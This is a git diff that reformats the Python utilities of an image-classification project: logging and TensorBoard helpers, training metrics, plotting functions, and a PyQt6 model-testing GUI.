+
def log_model_summary(self, model):
total_params = sum(p.numel() for p in model.parameters())
trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)
-
+
self.info("=" * 50)
self.info("Model Summary")
self.info("=" * 50)
@@ -74,42 +77,44 @@ def log_model_summary(self, model):
self.info(f"Trainable parameters: {trainable_params:,}")
self.info(f"Non-trainable parameters: {total_params - trainable_params:,}")
self.info("=" * 50)
-
+
def separator(self, char: str = "=", length: int = 80):
self.info(char * length)
+
class TensorBoardLogger:
def __init__(self, log_dir: str):
self.log_dir = log_dir
-
+
try:
from torch.utils.tensorboard import SummaryWriter
+
self.writer = SummaryWriter(log_dir)
self.enabled = True
except ImportError:
print("TensorBoard not available. Skipping TensorBoard logging.")
self.enabled = False
-
+
def log_scalar(self, tag: str, value: float, step: int):
if self.enabled:
self.writer.add_scalar(tag, value, step)
-
+
def log_scalars(self, main_tag: str, tag_scalar_dict: dict, step: int):
if self.enabled:
self.writer.add_scalars(main_tag, tag_scalar_dict, step)
-
+
def log_histogram(self, tag: str, values, step: int):
if self.enabled:
self.writer.add_histogram(tag, values, step)
-
+
def log_image(self, tag: str, img_tensor, step: int):
if self.enabled:
self.writer.add_image(tag, img_tensor, step)
-
+
def log_graph(self, model, input_to_model):
if self.enabled:
self.writer.add_graph(model, input_to_model)
-
+
def close(self):
if self.enabled:
self.writer.close()
diff --git a/ML/src/python/neuralforge/utils/metrics.py b/ML/src/python/neuralforge/utils/metrics.py
index 633367d8764..e6c7e06425e 100644
--- a/ML/src/python/neuralforge/utils/metrics.py
+++ b/ML/src/python/neuralforge/utils/metrics.py
@@ -1,114 +1,115 @@
import json
import os
-from typing import Dict, List, Any
+from typing import Any, Dict, List
+
import numpy as np
+
class MetricsTracker:
def __init__(self):
self.metrics = []
self.best_metrics = {}
-
+
def update(self, metrics: Dict[str, Any]):
self.metrics.append(metrics.copy())
-
+
for key, value in metrics.items():
if isinstance(value, (int, float)):
if key not in self.best_metrics:
self.best_metrics[key] = value
else:
- if 'loss' in key.lower():
+ if "loss" in key.lower():
self.best_metrics[key] = min(self.best_metrics[key], value)
else:
self.best_metrics[key] = max(self.best_metrics[key], value)
-
+
def get_history(self, key: str) -> List[Any]:
return [m.get(key) for m in self.metrics if key in m]
-
+
def get_latest(self, key: str) -> Any:
for m in reversed(self.metrics):
if key in m:
return m[key]
return None
-
+
def get_best(self, key: str) -> Any:
return self.best_metrics.get(key)
-
+
def get_average(self, key: str, last_n: int = None) -> float:
history = self.get_history(key)
if not history:
return 0.0
-
+
if last_n is not None:
history = history[-last_n:]
-
+
return np.mean([v for v in history if v is not None])
-
+
def save(self, filepath: str):
os.makedirs(os.path.dirname(filepath), exist_ok=True)
-
- data = {
- 'metrics': self.metrics,
- 'best_metrics': self.best_metrics
- }
-
- with open(filepath, 'w') as f:
+
+ data = {"metrics": self.metrics, "best_metrics": self.best_metrics}
+
+ with open(filepath, "w") as f:
json.dump(data, f, indent=2)
-
+
def load(self, filepath: str):
- with open(filepath, 'r') as f:
+ with open(filepath, "r") as f:
data = json.load(f)
-
- self.metrics = data.get('metrics', [])
- self.best_metrics = data.get('best_metrics', {})
-
+
+ self.metrics = data.get("metrics", [])
+ self.best_metrics = data.get("best_metrics", {})
+
def summary(self) -> str:
lines = ["=" * 50, "Metrics Summary", "=" * 50]
-
+
for key, value in self.best_metrics.items():
latest = self.get_latest(key)
if isinstance(value, float):
lines.append(f"{key}: best={value:.4f}, latest={latest:.4f}")
else:
lines.append(f"{key}: best={value}, latest={latest}")
-
+
lines.append("=" * 50)
return "\n".join(lines)
+
class AverageMeter:
def __init__(self):
self.reset()
-
+
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
-
+
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count if self.count > 0 else 0
+
class EarlyStopping:
- def __init__(self, patience: int = 10, min_delta: float = 0.0, mode: str = 'min'):
+ def __init__(self, patience: int = 10, min_delta: float = 0.0, mode: str = "min"):
self.patience = patience
self.min_delta = min_delta
self.mode = mode
self.counter = 0
self.best_score = None
self.early_stop = False
-
+
def __call__(self, score: float) -> bool:
if self.best_score is None:
self.best_score = score
return False
-
- if self.mode == 'min':
+
+ if self.mode == "min":
improved = score < (self.best_score - self.min_delta)
else:
improved = score > (self.best_score + self.min_delta)
-
+
if improved:
self.best_score = score
self.counter = 0
@@ -116,48 +117,51 @@ def __call__(self, score: float) -> bool:
self.counter += 1
if self.counter >= self.patience:
self.early_stop = True
-
+
return self.early_stop
+
class ConfusionMatrix:
def __init__(self, num_classes: int):
self.num_classes = num_classes
self.matrix = np.zeros((num_classes, num_classes), dtype=np.int64)
-
+
def update(self, predictions: np.ndarray, targets: np.ndarray):
for pred, target in zip(predictions, targets):
self.matrix[target, pred] += 1
-
+
def reset(self):
self.matrix = np.zeros((self.num_classes, self.num_classes), dtype=np.int64)
-
+
def compute_metrics(self) -> Dict[str, float]:
tp = np.diag(self.matrix)
fp = np.sum(self.matrix, axis=0) - tp
fn = np.sum(self.matrix, axis=1) - tp
tn = np.sum(self.matrix) - (tp + fp + fn)
-
+
accuracy = np.sum(tp) / np.sum(self.matrix) if np.sum(self.matrix) > 0 else 0.0
-
+
precision = tp / (tp + fp + 1e-10)
recall = tp / (tp + fn + 1e-10)
f1_score = 2 * (precision * recall) / (precision + recall + 1e-10)
-
+
return {
- 'accuracy': accuracy,
- 'precision': np.mean(precision),
- 'recall': np.mean(recall),
- 'f1_score': np.mean(f1_score)
+ "accuracy": accuracy,
+ "precision": np.mean(precision),
+ "recall": np.mean(recall),
+ "f1_score": np.mean(f1_score),
}
-
+
def get_matrix(self) -> np.ndarray:
return self.matrix
+
def accuracy(predictions, targets):
correct = (predictions == targets).sum()
total = len(targets)
return 100.0 * correct / total if total > 0 else 0.0
+
def top_k_accuracy(output, target, k=5):
with torch.no_grad():
maxk = min(k, output.size(1))
diff --git a/ML/src/python/neuralforge/utils/visualization.py b/ML/src/python/neuralforge/utils/visualization.py
index 104a12950ad..4c0ebc0e620 100644
--- a/ML/src/python/neuralforge/utils/visualization.py
+++ b/ML/src/python/neuralforge/utils/visualization.py
@@ -1,178 +1,204 @@
+import os
+from typing import Dict, List, Optional
+
import matplotlib.pyplot as plt
import numpy as np
-import os
-from typing import List, Dict, Optional
+
def plot_training_curves(
- metrics_tracker,
- save_path: Optional[str] = None,
- figsize: tuple = (15, 5)
+ metrics_tracker, save_path: Optional[str] = None, figsize: tuple = (15, 5)
):
- train_loss = metrics_tracker.get_history('train_loss')
- val_loss = metrics_tracker.get_history('val_loss')
- train_acc = metrics_tracker.get_history('train_acc')
- val_acc = metrics_tracker.get_history('val_acc')
-
+ train_loss = metrics_tracker.get_history("train_loss")
+ val_loss = metrics_tracker.get_history("val_loss")
+ train_acc = metrics_tracker.get_history("train_acc")
+ val_acc = metrics_tracker.get_history("val_acc")
+
fig, axes = plt.subplots(1, 2, figsize=figsize)
-
+
if train_loss:
- axes[0].plot(train_loss, label='Train Loss', linewidth=2)
+ axes[0].plot(train_loss, label="Train Loss", linewidth=2)
if val_loss:
- axes[0].plot(val_loss, label='Val Loss', linewidth=2)
- axes[0].set_xlabel('Epoch')
- axes[0].set_ylabel('Loss')
- axes[0].set_title('Training and Validation Loss')
+ axes[0].plot(val_loss, label="Val Loss", linewidth=2)
+ axes[0].set_xlabel("Epoch")
+ axes[0].set_ylabel("Loss")
+ axes[0].set_title("Training and Validation Loss")
axes[0].legend()
axes[0].grid(True, alpha=0.3)
-
+
if train_acc:
- axes[1].plot(train_acc, label='Train Accuracy', linewidth=2)
+ axes[1].plot(train_acc, label="Train Accuracy", linewidth=2)
if val_acc:
- axes[1].plot(val_acc, label='Val Accuracy', linewidth=2)
- axes[1].set_xlabel('Epoch')
- axes[1].set_ylabel('Accuracy (%)')
- axes[1].set_title('Training and Validation Accuracy')
+ axes[1].plot(val_acc, label="Val Accuracy", linewidth=2)
+ axes[1].set_xlabel("Epoch")
+ axes[1].set_ylabel("Accuracy (%)")
+ axes[1].set_title("Training and Validation Accuracy")
axes[1].legend()
axes[1].grid(True, alpha=0.3)
-
+
plt.tight_layout()
-
+
if save_path:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
- plt.savefig(save_path, dpi=300, bbox_inches='tight')
+ plt.savefig(save_path, dpi=300, bbox_inches="tight")
print(f"Training curves saved to {save_path}")
-
+
plt.close()
+
def plot_learning_rate(
- lr_history: List[float],
- save_path: Optional[str] = None,
- figsize: tuple = (10, 5)
+ lr_history: List[float], save_path: Optional[str] = None, figsize: tuple = (10, 5)
):
plt.figure(figsize=figsize)
plt.plot(lr_history, linewidth=2)
- plt.xlabel('Step')
- plt.ylabel('Learning Rate')
- plt.title('Learning Rate Schedule')
+ plt.xlabel("Step")
+ plt.ylabel("Learning Rate")
+ plt.title("Learning Rate Schedule")
plt.grid(True, alpha=0.3)
- plt.yscale('log')
-
+ plt.yscale("log")
+
if save_path:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
- plt.savefig(save_path, dpi=300, bbox_inches='tight')
+ plt.savefig(save_path, dpi=300, bbox_inches="tight")
print(f"Learning rate plot saved to {save_path}")
-
+
plt.close()
+
def plot_confusion_matrix(
cm: np.ndarray,
class_names: Optional[List[str]] = None,
save_path: Optional[str] = None,
- figsize: tuple = (10, 8)
+ figsize: tuple = (10, 8),
):
plt.figure(figsize=figsize)
- plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)
- plt.title('Confusion Matrix')
+ plt.imshow(cm, interpolation="nearest", cmap=plt.cm.Blues)
+ plt.title("Confusion Matrix")
plt.colorbar()
-
+
if class_names:
tick_marks = np.arange(len(class_names))
plt.xticks(tick_marks, class_names, rotation=45)
plt.yticks(tick_marks, class_names)
-
+
thresh = cm.max() / 2.0
for i in range(cm.shape[0]):
for j in range(cm.shape[1]):
- plt.text(j, i, format(cm[i, j], 'd'),
- ha="center", va="center",
- color="white" if cm[i, j] > thresh else "black")
-
- plt.ylabel('True label')
- plt.xlabel('Predicted label')
+ plt.text(
+ j,
+ i,
+ format(cm[i, j], "d"),
+ ha="center",
+ va="center",
+ color="white" if cm[i, j] > thresh else "black",
+ )
+
+ plt.ylabel("True label")
+ plt.xlabel("Predicted label")
plt.tight_layout()
-
+
if save_path:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
- plt.savefig(save_path, dpi=300, bbox_inches='tight')
+ plt.savefig(save_path, dpi=300, bbox_inches="tight")
print(f"Confusion matrix saved to {save_path}")
-
+
plt.close()
+
def visualize_architecture(architecture, save_path: Optional[str] = None):
- layer_types = [gene.get('type', 'unknown') for gene in architecture.genome]
+ layer_types = [gene.get("type", "unknown") for gene in architecture.genome]
layer_counts = {}
-
+
for layer_type in layer_types:
layer_counts[layer_type] = layer_counts.get(layer_type, 0) + 1
-
+
plt.figure(figsize=(10, 6))
plt.bar(layer_counts.keys(), layer_counts.values())
- plt.xlabel('Layer Type')
- plt.ylabel('Count')
- plt.title('Architecture Layer Distribution')
+ plt.xlabel("Layer Type")
+ plt.ylabel("Count")
+ plt.title("Architecture Layer Distribution")
plt.xticks(rotation=45)
- plt.grid(True, alpha=0.3, axis='y')
+ plt.grid(True, alpha=0.3, axis="y")
plt.tight_layout()
-
+
if save_path:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
- plt.savefig(save_path, dpi=300, bbox_inches='tight')
+ plt.savefig(save_path, dpi=300, bbox_inches="tight")
print(f"Architecture visualization saved to {save_path}")
-
+
plt.close()
+
def plot_nas_history(
- history: List[Dict],
- save_path: Optional[str] = None,
- figsize: tuple = (15, 5)
+ history: List[Dict], save_path: Optional[str] = None, figsize: tuple = (15, 5)
):
- generations = [h['generation'] for h in history]
- best_fitness = [h['best_fitness'] for h in history]
- avg_fitness = [h['avg_fitness'] for h in history]
- best_accuracy = [h['best_accuracy'] for h in history]
- avg_accuracy = [h['avg_accuracy'] for h in history]
-
+ generations = [h["generation"] for h in history]
+ best_fitness = [h["best_fitness"] for h in history]
+ avg_fitness = [h["avg_fitness"] for h in history]
+ best_accuracy = [h["best_accuracy"] for h in history]
+ avg_accuracy = [h["avg_accuracy"] for h in history]
+
fig, axes = plt.subplots(1, 2, figsize=figsize)
-
- axes[0].plot(generations, best_fitness, label='Best Fitness', linewidth=2, marker='o')
- axes[0].plot(generations, avg_fitness, label='Avg Fitness', linewidth=2, marker='s')
- axes[0].set_xlabel('Generation')
- axes[0].set_ylabel('Fitness')
- axes[0].set_title('NAS Fitness Evolution')
+
+ axes[0].plot(
+ generations, best_fitness, label="Best Fitness", linewidth=2, marker="o"
+ )
+ axes[0].plot(generations, avg_fitness, label="Avg Fitness", linewidth=2, marker="s")
+ axes[0].set_xlabel("Generation")
+ axes[0].set_ylabel("Fitness")
+ axes[0].set_title("NAS Fitness Evolution")
axes[0].legend()
axes[0].grid(True, alpha=0.3)
-
- axes[1].plot(generations, best_accuracy, label='Best Accuracy', linewidth=2, marker='o')
- axes[1].plot(generations, avg_accuracy, label='Avg Accuracy', linewidth=2, marker='s')
- axes[1].set_xlabel('Generation')
- axes[1].set_ylabel('Accuracy (%)')
- axes[1].set_title('NAS Accuracy Evolution')
+
+ axes[1].plot(
+ generations, best_accuracy, label="Best Accuracy", linewidth=2, marker="o"
+ )
+ axes[1].plot(
+ generations, avg_accuracy, label="Avg Accuracy", linewidth=2, marker="s"
+ )
+ axes[1].set_xlabel("Generation")
+ axes[1].set_ylabel("Accuracy (%)")
+ axes[1].set_title("NAS Accuracy Evolution")
axes[1].legend()
axes[1].grid(True, alpha=0.3)
-
+
plt.tight_layout()
-
+
if save_path:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
- plt.savefig(save_path, dpi=300, bbox_inches='tight')
+ plt.savefig(save_path, dpi=300, bbox_inches="tight")
print(f"NAS history plot saved to {save_path}")
-
+
plt.close()
+
def plot_gradient_flow(named_parameters, save_path: Optional[str] = None):
ave_grads = []
max_grads = []
layers = []
-
+
for n, p in named_parameters:
if p.requires_grad and p.grad is not None:
layers.append(n)
ave_grads.append(p.grad.abs().mean().cpu().item())
max_grads.append(p.grad.abs().max().cpu().item())
-
+
plt.figure(figsize=(12, 6))
- plt.bar(np.arange(len(max_grads)), max_grads, alpha=0.5, lw=1, color="c", label="max gradient")
- plt.bar(np.arange(len(ave_grads)), ave_grads, alpha=0.5, lw=1, color="b", label="mean gradient")
+ plt.bar(
+ np.arange(len(max_grads)),
+ max_grads,
+ alpha=0.5,
+ lw=1,
+ color="c",
+ label="max gradient",
+ )
+ plt.bar(
+ np.arange(len(ave_grads)),
+ ave_grads,
+ alpha=0.5,
+ lw=1,
+ color="b",
+ label="mean gradient",
+ )
plt.hlines(0, 0, len(ave_grads) + 1, lw=2, color="k")
plt.xticks(range(0, len(ave_grads), 1), layers, rotation="vertical")
plt.xlim(left=0, right=len(ave_grads))
@@ -183,10 +209,10 @@ def plot_gradient_flow(named_parameters, save_path: Optional[str] = None):
plt.grid(True, alpha=0.3)
plt.legend()
plt.tight_layout()
-
+
if save_path:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
- plt.savefig(save_path, dpi=300, bbox_inches='tight')
+ plt.savefig(save_path, dpi=300, bbox_inches="tight")
print(f"Gradient flow plot saved to {save_path}")
-
- plt.close()
\ No newline at end of file
+
+ plt.close()
diff --git a/ML/tests/gui_test.py b/ML/tests/gui_test.py
index c368a004ae2..df9f2d50acf 100644
--- a/ML/tests/gui_test.py
+++ b/ML/tests/gui_test.py
@@ -1,226 +1,251 @@
-import sys
import os
-sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
+import sys
-from PyQt6.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout,
- QHBoxLayout, QPushButton, QLabel, QLineEdit,
- QFileDialog, QProgressBar, QTextEdit, QGroupBox,
- QGridLayout)
-from PyQt6.QtCore import Qt, QThread, pyqtSignal
-from PyQt6.QtGui import QPixmap, QFont
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
import torch
import torch.nn.functional as F
-from torchvision import transforms
from PIL import Image
-
+from PyQt6.QtCore import Qt, QThread, pyqtSignal
+from PyQt6.QtGui import QFont, QPixmap
+from PyQt6.QtWidgets import (
+ QApplication,
+ QFileDialog,
+ QGroupBox,
+ QHBoxLayout,
+ QLabel,
+ QLineEdit,
+ QMainWindow,
+ QProgressBar,
+ QPushButton,
+ QTextEdit,
+ QVBoxLayout,
+ QWidget,
+)
from src.python.neuralforge.data.datasets import get_dataset, get_num_classes
from src.python.neuralforge.models.resnet import ResNet18
+from torchvision import transforms
+
class PredictionThread(QThread):
finished = pyqtSignal(list, list, str)
error = pyqtSignal(str)
-
+
def __init__(self, model, image_path, classes, device):
super().__init__()
self.model = model
self.image_path = image_path
self.classes = classes
self.device = device
-
+
def run(self):
try:
- image = Image.open(self.image_path).convert('RGB')
-
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
+ image = Image.open(self.image_path).convert("RGB")
+
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
image_tensor = transform(image).unsqueeze(0).to(self.device)
-
+
with torch.no_grad():
outputs = self.model(image_tensor)
probabilities = F.softmax(outputs, dim=1)
-
- top5_prob, top5_idx = torch.topk(probabilities, min(5, len(self.classes)), dim=1)
-
+
+ top5_prob, top5_idx = torch.topk(
+ probabilities, min(5, len(self.classes)), dim=1
+ )
+
predictions = []
confidences = []
-
- for idx, prob in zip(top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()):
+
+ for idx, prob in zip(
+ top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()
+ ):
predictions.append(self.classes[idx])
confidences.append(float(prob) * 100)
-
+
main_prediction = predictions[0]
-
+
self.finished.emit(predictions, confidences, main_prediction)
-
+
except Exception as e:
self.error.emit(str(e))
+
class NeuralForgeGUI(QMainWindow):
def __init__(self):
super().__init__()
self.model = None
- self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+ self.device = "cuda" if torch.cuda.is_available() else "cpu"
self.classes = []
- self.dataset_name = 'cifar10'
-
+ self.dataset_name = "cifar10"
+
self.init_ui()
self.apply_stylesheet()
-
+
def init_ui(self):
- self.setWindowTitle('NeuralForge - Model Tester')
+ self.setWindowTitle("NeuralForge - Model Tester")
self.setGeometry(100, 100, 1200, 800)
-
+
central_widget = QWidget()
self.setCentralWidget(central_widget)
-
+
main_layout = QHBoxLayout()
central_widget.setLayout(main_layout)
-
+
left_panel = self.create_left_panel()
right_panel = self.create_right_panel()
-
+
main_layout.addWidget(left_panel, 1)
main_layout.addWidget(right_panel, 1)
-
+
def create_left_panel(self):
panel = QWidget()
layout = QVBoxLayout()
panel.setLayout(layout)
-
- title = QLabel('🚀 NeuralForge Model Tester')
- title.setFont(QFont('Arial', 20, QFont.Weight.Bold))
+
+ title = QLabel("🚀 NeuralForge Model Tester")
+ title.setFont(QFont("Arial", 20, QFont.Weight.Bold))
title.setAlignment(Qt.AlignmentFlag.AlignCenter)
layout.addWidget(title)
-
- model_group = QGroupBox('Model Selection')
+
+ model_group = QGroupBox("Model Selection")
model_layout = QVBoxLayout()
-
+
model_path_layout = QHBoxLayout()
self.model_path_input = QLineEdit()
- self.model_path_input.setPlaceholderText('Path to model file (.pt)')
+ self.model_path_input.setPlaceholderText("Path to model file (.pt)")
model_path_layout.addWidget(self.model_path_input)
-
- browse_btn = QPushButton('Browse')
+
+ browse_btn = QPushButton("Browse")
browse_btn.clicked.connect(self.browse_model)
model_path_layout.addWidget(browse_btn)
-
- default_btn = QPushButton('Use Default')
+
+ default_btn = QPushButton("Use Default")
default_btn.clicked.connect(self.use_default_model)
model_path_layout.addWidget(default_btn)
-
+
model_layout.addLayout(model_path_layout)
-
+
dataset_layout = QHBoxLayout()
- dataset_label = QLabel('Dataset:')
- self.dataset_input = QLineEdit('cifar10')
- self.dataset_input.setPlaceholderText('cifar10, mnist, stl10, tiny_imagenet, etc.')
- self.dataset_input.setToolTip('Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets')
+ dataset_label = QLabel("Dataset:")
+ self.dataset_input = QLineEdit("cifar10")
+ self.dataset_input.setPlaceholderText(
+ "cifar10, mnist, stl10, tiny_imagenet, etc."
+ )
+ self.dataset_input.setToolTip(
+ "Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets"
+ )
dataset_layout.addWidget(dataset_label)
dataset_layout.addWidget(self.dataset_input)
model_layout.addLayout(dataset_layout)
-
- self.load_model_btn = QPushButton('Load Model')
+
+ self.load_model_btn = QPushButton("Load Model")
self.load_model_btn.clicked.connect(self.load_model)
model_layout.addWidget(self.load_model_btn)
-
- self.model_status = QLabel('No model loaded')
+
+ self.model_status = QLabel("No model loaded")
self.model_status.setAlignment(Qt.AlignmentFlag.AlignCenter)
model_layout.addWidget(self.model_status)
-
+
model_group.setLayout(model_layout)
layout.addWidget(model_group)
-
- image_group = QGroupBox('Image Selection')
+
+ image_group = QGroupBox("Image Selection")
image_layout = QVBoxLayout()
-
+
image_path_layout = QHBoxLayout()
self.image_path_input = QLineEdit()
- self.image_path_input.setPlaceholderText('Path to image file')
+ self.image_path_input.setPlaceholderText("Path to image file")
image_path_layout.addWidget(self.image_path_input)
-
- browse_image_btn = QPushButton('Browse')
+
+ browse_image_btn = QPushButton("Browse")
browse_image_btn.clicked.connect(self.browse_image)
image_path_layout.addWidget(browse_image_btn)
-
+
image_layout.addLayout(image_path_layout)
-
+
self.image_preview = QLabel()
self.image_preview.setAlignment(Qt.AlignmentFlag.AlignCenter)
self.image_preview.setMinimumHeight(300)
- self.image_preview.setStyleSheet('border: 2px dashed #666; border-radius: 10px;')
- self.image_preview.setText('No image selected')
+ self.image_preview.setStyleSheet(
+ "border: 2px dashed #666; border-radius: 10px;"
+ )
+ self.image_preview.setText("No image selected")
image_layout.addWidget(self.image_preview)
-
- self.predict_btn = QPushButton('🔍 Predict')
+
+ self.predict_btn = QPushButton("🔍 Predict")
self.predict_btn.clicked.connect(self.predict_image)
self.predict_btn.setEnabled(False)
image_layout.addWidget(self.predict_btn)
-
+
image_group.setLayout(image_layout)
layout.addWidget(image_group)
-
+
layout.addStretch()
-
+
return panel
-
+
def create_right_panel(self):
panel = QWidget()
layout = QVBoxLayout()
panel.setLayout(layout)
-
- results_group = QGroupBox('Prediction Results')
+
+ results_group = QGroupBox("Prediction Results")
results_layout = QVBoxLayout()
-
- self.main_prediction = QLabel('No prediction yet')
- self.main_prediction.setFont(QFont('Arial', 24, QFont.Weight.Bold))
+
+ self.main_prediction = QLabel("No prediction yet")
+ self.main_prediction.setFont(QFont("Arial", 24, QFont.Weight.Bold))
self.main_prediction.setAlignment(Qt.AlignmentFlag.AlignCenter)
- self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px;')
+ self.main_prediction.setStyleSheet("color: #4CAF50; padding: 20px;")
results_layout.addWidget(self.main_prediction)
-
- self.confidence_label = QLabel('')
- self.confidence_label.setFont(QFont('Arial', 16))
+
+ self.confidence_label = QLabel("")
+ self.confidence_label.setFont(QFont("Arial", 16))
self.confidence_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
results_layout.addWidget(self.confidence_label)
-
+
self.progress_bar = QProgressBar()
self.progress_bar.setVisible(False)
results_layout.addWidget(self.progress_bar)
-
+
results_group.setLayout(results_layout)
layout.addWidget(results_group)
-
- top5_group = QGroupBox('Top-5 Predictions')
+
+ top5_group = QGroupBox("Top-5 Predictions")
top5_layout = QVBoxLayout()
-
+
self.top5_display = QTextEdit()
self.top5_display.setReadOnly(True)
self.top5_display.setMinimumHeight(200)
top5_layout.addWidget(self.top5_display)
-
+
top5_group.setLayout(top5_layout)
layout.addWidget(top5_group)
-
- info_group = QGroupBox('Model Information')
+
+ info_group = QGroupBox("Model Information")
info_layout = QVBoxLayout()
-
+
self.model_info = QTextEdit()
self.model_info.setReadOnly(True)
self.model_info.setMaximumHeight(150)
info_layout.addWidget(self.model_info)
-
+
info_group.setLayout(info_layout)
layout.addWidget(info_group)
-
+
layout.addStretch()
-
+
return panel
-
+
def apply_stylesheet(self):
qss = """
QMainWindow {
@@ -309,117 +334,130 @@ def apply_stylesheet(self):
}
"""
self.setStyleSheet(qss)
-
+
def browse_model(self):
file_path, _ = QFileDialog.getOpenFileName(
- self,
- 'Select Model File',
- '../models',
- 'Model Files (*.pt *.pth);;All Files (*.*)'
+ self,
+ "Select Model File",
+ "../models",
+ "Model Files (*.pt *.pth);;All Files (*.*)",
)
if file_path:
self.model_path_input.setText(file_path)
-
+
def use_default_model(self):
- default_path = os.path.join(os.path.dirname(__file__), '..', 'models', 'final_model.pt')
+ default_path = os.path.join(
+ os.path.dirname(__file__), "..", "models", "final_model.pt"
+ )
self.model_path_input.setText(os.path.abspath(default_path))
-
+
def browse_image(self):
file_path, _ = QFileDialog.getOpenFileName(
self,
- 'Select Image File',
- '',
- 'Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)'
+ "Select Image File",
+ "",
+ "Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)",
)
if file_path:
self.image_path_input.setText(file_path)
self.display_image(file_path)
-
+
def display_image(self, image_path):
try:
pixmap = QPixmap(image_path)
- scaled_pixmap = pixmap.scaled(400, 300, Qt.AspectRatioMode.KeepAspectRatio,
- Qt.TransformationMode.SmoothTransformation)
+ scaled_pixmap = pixmap.scaled(
+ 400,
+ 300,
+ Qt.AspectRatioMode.KeepAspectRatio,
+ Qt.TransformationMode.SmoothTransformation,
+ )
self.image_preview.setPixmap(scaled_pixmap)
except Exception as e:
- self.image_preview.setText(f'Error loading image: {e}')
-
+ self.image_preview.setText(f"Error loading image: {e}")
+
def load_model(self):
model_path = self.model_path_input.text()
dataset_input = self.dataset_input.text().lower().strip()
-
+
dataset_aliases = {
- 'cifar10': 'cifar10',
- 'cifar-10': 'cifar10',
- 'cifar_10': 'cifar10',
- 'cifar100': 'cifar100',
- 'cifar-100': 'cifar100',
- 'cifar_100': 'cifar100',
- 'mnist': 'mnist',
- 'fashionmnist': 'fashion_mnist',
- 'fashion-mnist': 'fashion_mnist',
- 'fashion_mnist': 'fashion_mnist',
- 'stl10': 'stl10',
- 'stl-10': 'stl10',
- 'stl_10': 'stl10',
- 'tinyimagenet': 'tiny_imagenet',
- 'tiny-imagenet': 'tiny_imagenet',
- 'tiny_imagenet': 'tiny_imagenet',
- 'imagenet': 'imagenet',
- 'food101': 'food101',
- 'food-101': 'food101',
- 'food_101': 'food101',
- 'caltech256': 'caltech256',
- 'caltech-256': 'caltech256',
- 'caltech_256': 'caltech256',
- 'oxfordpets': 'oxford_pets',
- 'oxford-pets': 'oxford_pets',
- 'oxford_pets': 'oxford_pets',
+ "cifar10": "cifar10",
+ "cifar-10": "cifar10",
+ "cifar_10": "cifar10",
+ "cifar100": "cifar100",
+ "cifar-100": "cifar100",
+ "cifar_100": "cifar100",
+ "mnist": "mnist",
+ "fashionmnist": "fashion_mnist",
+ "fashion-mnist": "fashion_mnist",
+ "fashion_mnist": "fashion_mnist",
+ "stl10": "stl10",
+ "stl-10": "stl10",
+ "stl_10": "stl10",
+ "tinyimagenet": "tiny_imagenet",
+ "tiny-imagenet": "tiny_imagenet",
+ "tiny_imagenet": "tiny_imagenet",
+ "imagenet": "imagenet",
+ "food101": "food101",
+ "food-101": "food101",
+ "food_101": "food101",
+ "caltech256": "caltech256",
+ "caltech-256": "caltech256",
+ "caltech_256": "caltech256",
+ "oxfordpets": "oxford_pets",
+ "oxford-pets": "oxford_pets",
+ "oxford_pets": "oxford_pets",
}
-
+
self.dataset_name = dataset_aliases.get(dataset_input, dataset_input)
-
+
if not model_path:
- self.model_status.setText('Please select a model file')
- self.model_status.setStyleSheet('color: #f44336;')
+ self.model_status.setText("Please select a model file")
+ self.model_status.setStyleSheet("color: #f44336;")
return
-
+
if not os.path.exists(model_path):
- self.model_status.setText('Model file not found')
- self.model_status.setStyleSheet('color: #f44336;')
+ self.model_status.setText("Model file not found")
+ self.model_status.setStyleSheet("color: #f44336;")
return
-
+
try:
- self.model_status.setText('Loading model...')
- self.model_status.setStyleSheet('color: #FFC107;')
+ self.model_status.setText("Loading model...")
+ self.model_status.setStyleSheet("color: #FFC107;")
QApplication.processEvents()
-
+
num_classes = get_num_classes(self.dataset_name)
self.model = ResNet18(num_classes=num_classes)
self.model = self.model.to(self.device)
-
- checkpoint = torch.load(model_path, map_location=self.device, weights_only=False)
- self.model.load_state_dict(checkpoint['model_state_dict'])
+
+ checkpoint = torch.load(
+ model_path, map_location=self.device, weights_only=False
+ )
+ self.model.load_state_dict(checkpoint["model_state_dict"])
self.model.eval()
-
+
try:
dataset = get_dataset(self.dataset_name, train=False, download=False)
- self.classes = getattr(dataset, 'classes', [str(i) for i in range(num_classes)])
+ self.classes = getattr(
+ dataset, "classes", [str(i) for i in range(num_classes)]
+ )
except:
from src.python.neuralforge.data.datasets import get_class_names
+
self.classes = get_class_names(self.dataset_name)
-
- self.model_status.setText(f'✓ Model loaded successfully')
- self.model_status.setStyleSheet('color: #4CAF50;')
-
+
+ self.model_status.setText("✓ Model loaded successfully")
+ self.model_status.setStyleSheet("color: #4CAF50;")
+
self.predict_btn.setEnabled(True)
-
+
total_params = sum(p.numel() for p in self.model.parameters())
